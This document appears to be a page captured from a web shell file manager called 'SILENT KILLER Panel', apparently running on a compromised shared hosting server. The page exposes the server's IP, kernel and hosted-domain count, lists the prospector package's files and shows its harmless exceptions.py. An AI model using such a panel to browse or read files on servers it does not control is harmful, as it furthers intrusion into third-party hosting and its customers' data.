SILENT KILLERPanel

Current Path: > > opt > cloudlinux > venv > lib64 > python3.11 > > > site-packages > prospector


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: //opt/cloudlinux/venv/lib64/python3.11///site-packages/prospector

NameTypeSizeLast ModifiedActions
__pycache__ Directory - -
config Directory - -
formatters Directory - -
profiles Directory - -
tools Directory - -
__init__.py File 0 bytes April 17 2025 13:10:59.
__main__.py File 71 bytes April 17 2025 13:10:59.
autodetect.py File 2955 bytes April 17 2025 13:10:59.
blender.py File 4444 bytes April 17 2025 13:10:59.
blender_combinations.yaml File 6551 bytes April 17 2025 13:10:59.
compat.py File 360 bytes April 17 2025 13:10:59.
encoding.py File 1542 bytes April 17 2025 13:10:59.
exceptions.py File 1291 bytes April 17 2025 13:10:59.
finder.py File 4723 bytes April 17 2025 13:10:59.
message.py File 2732 bytes April 17 2025 13:10:59.
pathutils.py File 1306 bytes April 17 2025 13:10:59.
postfilter.py File 2235 bytes April 17 2025 13:10:59.
run.py File 8102 bytes April 17 2025 13:10:59.
suppression.py File 4467 bytes April 17 2025 13:10:59.

Reading File: //opt/cloudlinux/venv/lib64/python3.11///site-packages/prospector/exceptions.py

import os
from pathlib import Path


class FatalProspectorException(Exception):

    """
    Exception used to indicate an internal prospector problem.
    Problems in prospector itself should raise this to notify
    the user directly. Errors in dependent tools should be
    caught and the user notified elegantly.

    """

    # (see also the --die-on-tool-error flag)

    def __init__(self, message: str):
        super().__init__(message)
        self.message = message


class CouldNotHandleEncoding(Exception):
    def __init__(self, path: Path):
        super().__init__()
        self.path = path


class PermissionMissing(Exception):
    def __init__(self, path: Path):
        docs_url = "https://prospector.landscape.io/en/master/profiles.html#ignoring-paths-and-patterns"
        if os.path.isdir(path):
            what = f"directory {path}"
        else:
            what = f"the file {path}"
        error_msg = (
            f"The current user {os.getlogin()} does not have permission to open "
            f"{what}. Either fix permissions or tell prospector to skip it "
            f"by adding this path to `--ignore-paths` on the commandline "
            f"or in `ignore-paths` in the prospector profile (see {docs_url})"
        )
        super().__init__(error_msg)

SILENT KILLER Tool